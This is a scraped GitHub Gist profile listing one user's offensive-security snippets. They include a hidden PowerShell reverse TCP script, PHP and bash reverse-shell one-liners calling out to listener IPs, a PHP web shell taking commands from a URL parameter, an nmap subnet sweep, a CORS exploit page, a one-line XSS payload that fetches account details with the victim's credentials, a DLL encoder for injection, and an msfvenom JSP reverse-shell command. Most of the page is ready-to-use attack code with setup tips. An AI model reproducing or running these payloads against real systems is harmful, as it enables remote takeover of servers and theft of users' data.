Skip to content

Instantly share code, notes, and snippets.

View enderphan94's full-sized avatar
🏠
Working from home

Ender Loc Phan enderphan94

🏠
Working from home
View GitHub Profile
@enderphan94
enderphan94 / Reverse_TCP_PowerShell.ps1
Last active August 13, 2020 13:58
Reverse TCP Powershell https://www.youtube.com/watch?v=CIdueghuvtk #shell #reversetcp #powershell
powershell -NoP -sta -NonI -W Hidden
function RSC{
if ($c.Connected -eq $true) {
$c.Close()
};
if ($p.ExitCode -ne $null) {
$p.Close()
};
exit;
};
@enderphan94
enderphan94 / simple_php_reverse_shell.php
Created August 13, 2020 14:01
One line PHP Reverse Shell #php #reverseshell #onelinephpreverseshell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.123/4444 0>&1'");
#192.168.103.123 is your local machine ip
#run `nc -vnlp 4444` on your local machine
@enderphan94
enderphan94 / cmd_shell.php
Created August 13, 2020 14:04
simplest php shell #php #shell
<?php passthru($_GET['cmd']); ?>
#http://victim.com?cmd=whoami
@enderphan94
enderphan94 / nmap.txt
Created August 13, 2020 14:06
Nmap scan command againsts entire local domain #nmap #scan
nmap -v -sS -A -T4 192.168.11.1-255
@enderphan94
enderphan94 / Command.sh
Created August 13, 2020 14:11
Reverse Connect without using netcat
/bin/bash -c '/bin/bash -i > /dev/tcp/127.0.0.1/8181 0<&1 2>&1&'
# OR
/bin/bash -i >& /dev/tcp/127.0.0.1/8181 0>&1
#run `nc -vnlp 8181` on your local machine
@enderphan94
enderphan94 / CORS.html
Created August 13, 2020 14:17
CORS vulnerability exploit #cors https://enderspub.kubertu.com/cors
<html>
<body>
<h2>CORS Exploit</h2>
<p>https://gist.github.com/enderphan94</p>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
@enderphan94
enderphan94 / xss_cors.js
Created August 13, 2020 14:20
XSS CORS payload in one line #xss #cors
<script>var req = new XMLHttpRequest(); req.open('get','https://acb01fc81f8f9958806a0dee004900a5.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send();</script>
//https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
//if it does not pop-up, double-check in the console
@enderphan94
enderphan94 / dll_encoder.py
Created August 26, 2020 03:57
Endode dll file to base64 #dll #dllinjection #base64dll
#!/usr/bin/python
# DLL Encoder - Insecurety Research
import sys
print "Encodes a DLL as a base64 encoded textfile"
if (len(sys.argv) != 3):
print "Usage: %s <Path To DLL> <Outfile>" %(sys.argv[0])
print "Eg: %s C:\\windows\win32.dll encoded.txt" %(sys.argv[0])
sys.exit(0)
@enderphan94
enderphan94 / Readme.md
Last active September 12, 2020 08:06
Reverse Shell in nodejs #nodejs #shell

JavaScript strings can by design be composed of hex-encoded characters, in addition to other encodings. So we should be able to hex-encode our forward slashes and bypass the restrictions of the regex parsing. We gotta do some hex-encoding scheme to the cmd string

\\x2fbin\\x2fbash

e.g:

POST /users HTTP/1.1
Host: 172.118.132.4
@enderphan94
enderphan94 / README.md
Last active September 19, 2020 16:16
windows and Linux jsp reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw &gt; shell.jsp